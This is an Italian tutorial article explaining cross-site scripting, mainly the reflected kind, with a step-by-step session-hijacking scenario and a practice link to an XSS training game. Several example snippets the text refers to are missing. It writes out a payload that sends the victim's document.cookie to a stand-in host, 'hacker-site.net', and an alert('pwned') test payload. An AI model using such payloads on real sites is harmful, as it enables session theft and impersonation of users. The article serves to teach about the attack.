Che cos'è il Cross-Site Scripting?
Il Cross-Site Scripting (XSS) è una delle tecniche di attacco più diffuse oggi, conosciuta come il Padrino dell'attacco, e da molti anni è considerata la tecnica di attacco più pericolosa per le applicazioni web.
Non chiamatelo CSS in breve per evitare confusione con il concetto di Cascading Style Sheet dell'HTML.
La tecnica
XSS si basa sull'inserimento di script pericolosi nel codice sorgente dell'applicazione web. Eseguire codice Javascript dannoso per assumere il controllo della sessione di accesso dell'utente.
Per comprendere meglio consideriamo il seguente esempio. Un'applicazione web che consente di stampare il valore che passiamo tramite l'URL, presupponendo che passiamo nella variabile nome il valore Ping:
Per ora va tutto bene, rivediamo il codice sorgente html:
Ciò che è facile vedere è che il valore del nome che abbiamo inserito è stato inserito nel codice sorgente. Quindi è possibile che ciò che viene importato possa essere anche inserito. Il problema diventa serio se il valore inserito non è una stringa normale come sopra ma un pezzo di codice potenzialmente pericoloso, qualcosa del genere:
Riprova con il valore sopra:
Da questo esempio possiamo concludere due cose. Innanzitutto, la variabile name può ricevere qualsiasi valore di input e trasmetterlo al server per l'elaborazione. In secondo luogo, il server non ha controllato questo valore di input prima di restituirlo al browser. Ciò porta all'inserimento del codice JavaScript nel codice sorgente.
XSS è generalmente diviso in 3 tipologie principali: riflesso, memorizzato e basato su DOM. In questo articolo menzionerò principalmente la tecnica XSS riflessa.
Fino al 75% delle tecniche XSS si basano su XSS riflesso. Si chiama riflesso perché in questo tipo di scenario di exploit, l'hacker deve inviare alla vittima un URL contenente codice dannoso (solitamente javascript). La vittima deve solo richiedere questo URL e l'hacker riceverà immediatamente una risposta contenente il risultato desiderato (riflessività mostrata qui). Inoltre, è anche noto come XSS del primo ordine.
Scenario minerario nella vita reale
Esistono molti modi per sfruttare l'errore XSS riflesso, uno dei modi più noti è prendere il controllo della sessione dell'utente, accedendo così ai dati e ottenendo i propri diritti sul sito web. .
I dettagli sono descritti nei seguenti passaggi:
1. L'utente accede al Web e presuppone che sia assegnata una sessione:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. In qualche modo, l'hacker invia all'utente l'URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Supponiamo che example.com sia il sito Web visitato dalla vittima, hacker-site.net sia il sito creato dall'hacker
3. La vittima accede all'URL sopra
4. Il server risponde alla vittima, insieme ai dati contenuti nella richiesta (snippet javascript dell'hacker)
5. Il browser della vittima riceve la risposta ed esegue il javascript
6. Il Javascript effettivo creato dall'hacker è il seguente:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
La riga di comando sopra essenzialmente effettua una richiesta al sito dell'hacker con il parametro che è il cookie dell'utente:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Dal tuo sito, l'hacker catturerà il contenuto della richiesta di cui sopra e considererà la sessione dell'utente presa in consegna. A questo punto, l'hacker può impersonare la vittima ed esercitare tutti i diritti sul sito web di cui dispone la vittima.
Pratica
Google ha creato una pagina per esercitarsi nello sfruttamento degli errori XSS qui: https://xss-game.appspot.com
L'obiettivo di queste sfide è che devi inserire script per far apparire un popup. La prima sfida è illustrare la tecnica riflessa, il codice di sfruttamento è abbastanza semplice:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Buona fortuna!